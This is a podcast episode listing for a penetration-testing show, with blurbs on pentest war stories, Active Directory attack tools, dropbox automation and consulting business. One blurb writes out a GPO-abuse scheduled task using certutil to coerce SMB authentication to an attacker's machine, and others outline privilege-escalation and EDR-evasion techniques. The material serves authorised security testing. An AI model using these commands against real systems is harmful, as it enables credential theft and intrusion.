7 Minute Security

Today we're doing a milkshake of several topics: wireless pentest pwnage, automating the boring pentest stuff with  cursor.ai , and some closing business thoughts at 7MinSec celebrates its 7th year as a security consultancy.  Links discussed today: AWUS036ACH wifi card (not my favorite anymore) Panda PAU09 N600 (love this one!) The very important Github issue that helped me better understand BPFs...

Today we've got some super cool stuff to cover today!  First up,  BPATTY v1.4  is out and has a slug of cool things: A whole new section on old-school wifi tools like airmon-ng, aireplay-ng and airodump-ng Syntax on using two different tools to parse creds from  Dehashed An updated tutorial on using  Gophish  for phishing campaigns The cocoa-flavored cherry on top is a tale of pentest pwnage that...

Hey friends, today we're talking about tips to effectively present your technical assessment to a variety of audiences – from lovely IT and security nerds to C-levels, the board and beyond!

Today's episode talks about some things that helped me get through a stressful and hospital-visit-filled Thanksgiving week, including: Journaling Meditation (An activity I'm ashamed of but has actually done  wonders for my mental health)

Hey friends, we've got a short but sweet tale of pentest pwnage for you today. Key lessons learned: Definitely consider  BallisKit  for your EDR-evasion needs If you get local admin to a box, enumerate, enumerate, enumerate!  There might be a delicious task or service set to run as a domain admin that can quickly escalate your privileges!

Oooooo, giggidy! Today is (once again) my favorite tale of pentest pwnage. I learned about a feature of  PowerUpSQL  that helped me find a "hidden" SQL account, and  that  account ended up being the key to the entire pentest!  I wonder how many hidden SQL accounts I've missed on past pentests….SIGH! Check out the awesome BloodHound gang thread about this  here . Also, can't get  Rubeus  monitor mo...

Today we take a look at a zero-trust / ditch-your-VPN solution called  Twingate  (not a sponsor but we'd like them to be)!  It also doubles nicely as a primary or backup connection for your DIY pentest dropboxes which we've talked about quite a bit  here .  In other news, we've moved from Teachable to Coursestack, so if you've bought training/ebooks with us before, you should've received some emai...

Hey friends, today I'm sharing my first (and non-sponsored) impressions of Level.io, a cool tool for managing Windows, Mac and Linux endpoints. It fits a nice little niche in our pentest dropbox deployments, it has an attractive price point and their support is fantastic.

Today we're talkin' business – specifically how to make your report delivery meetings calm, cool and collect (both for you and the client!).

Hey friends, today I'm putting my blue hat on and dipping my toes in incident response by way of playing with  Velociraptor , a very cool (and free!) tool to find evil in your environment.  Perhaps even better than the price tag, Velociraptor runs as a single binary you can deploy to spin up a server and then request endpoints to "phone home" to you by way of GPO scheduled task.  The things I talk...

Today I do a short travelogue about my trip to Washington, geek out about some cool training I did with  Velociraptor , ponder drowning myself in blue team knowledge with  XINTRA LABS , and share some thoughts about the conference talk I gave called  7 Ways to Panic a Pentester.

Hey!  I'm speaking in Wanatchee, Washington next week at the  NCESD conference  about 7 ways to panic a pentester!  Today's tale of pentest pwnage is a great reminder to enumerate, enumerate, enumerate!  It also emphases that cracking NETLM/NETNTLMv1 isn't super easy to remember the steps for (at least for me) but  this crack.sh article makes it a bit easier!

Today we continue where we left off in episode  641 , but this time talking about how to automatically deploy and install a Ubuntu-based dropbox!  I also share some love for  exegol as an all-in-one Active Directory pentesting platform.

Ron Cole of Immersive Labs joins us to talk pentest war stories, essential skills he learned while serving on a SOC, and the various pentest training and range platforms you can use to sharpen your security skills! Here are the links Ron shared during our discussion: VetSec Fortinet Veterans Program Immersive Labs Cyber Million FedVTE

Today we're revisiting the fun world of automating pentest dropboxes using Proxmox, Ansible,  Cursor  and  Level .  Plus, a tease about how all this talk about automation is getting us excited for a long-term project: creating a free/community edition of  Light Pentest LITE training !

This was my favorite pentest tale of pwnage to date!  There's a lot to cover in this episode so I'm going to try and bullet out the TLDR version here: Sprinkled  farmer  files around the environment Found high-priv boxes with WebClient enabled Added "ghost" machine to the Active Directory (we'll call it GHOSTY) RBCD attack to be able to impersonate a domain admin using the CIFS/SMB service against...

Today's tale of pentest pwnage talks about the dark powers of the  net.py  script from  impacket .

Today we're talking pentesting – specifically some mini gems that can help you escalate local/domain/SQL privileges: Check the C: drive! If you get local admin and the system itself looks boring, check root of C – might have some interesting scripts or folders with tools that have creds in them. Also look at Look at  Get-ScheduledTasks Find ids and passwords easily in Snaffler output with this  Sn...

Hello friends, I'm excited to release BPATTY[RELOADED] into the world at  https://bpatty.rocks ! – which stands for Brian's Pentesting and Technical Tips for You! It's a knowledge base of IT and security bits that help me do a better job doing security stuff! Today I do an ACTUAL 7-minute episode (GASP…what a concept!) covering my favorite bits on the site so far. Enjoy!

Artificial hype alert!  I'm working on a NEW version of BPATTY (Brian's Pentesting and Technical Tips for You), but it is delayed because of a weird domain name hostage negotiation situation.  It's weird.  But in the meantime I want to talk about the project (which is a pentest documentation library built on Docusaurus) and how I think it will be bigger/better/stronger/faster/cooler than  BPATTY v...

Today we're talking about eating the security dog food – specifically: Satisfying  critical security control #1 Using the  Atlassian  family of tools to create a ticketing/change control system and wrap it into an asset inventory Leveraging  Wazuh as a security monitoring system (with eventual plans to leverage its API to feed Atlassian inventory data)

Hi, today's tale of pentest pwnage covers a few wins and one loss: A cool opportunity to drop  Farmer  "crops" to a domain admin's desktop folder via PowerShell remote session Finding super sensitive data by dumpster-diving into a stale C:\Users\Domain-Admin profile Finding a vCenter database backup and being unable to pwn it using  vcenter_saml_login

Hey friends, we're doing a little departure from our normal topics and focusing on how to create a security knowledgebase (is that one word or two?) using  Docusaurus !  It's cool, it's free, it's from Meta and you can get up and going in just a few commands – check out their  getting started guide  to get rockin' in about 5 minutes. Important files include: docusaurus.config.js  – for setting the...

Today's tale of pentest pwnage includes some fun stuff, including: SharpGPOAbuse  helps abuse vulnerable GPOs!  Try submitting a harmless POC first via a scheduled task – like  ping -n 1 your.kali.ip.address .  When you're ready to fire off a task that coerces SMB auth, try  certutil -syncwithWU \\your.kali.ip.address\arbitrary-folder . I'm not 100% sure on this, but I think scheduled tasks captur...

Hi friends, today's a tale full of test tips and tools to help you in your adventures in pentesting! SCCM Exploitation SCCM Exploitation: The First Cred Is the Deepest II w/ Gabriel Prud'homme  – fantastic resource for learning all about attacking SCCM – starting from a perspective of zero creds CMLoot  – find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB shares S...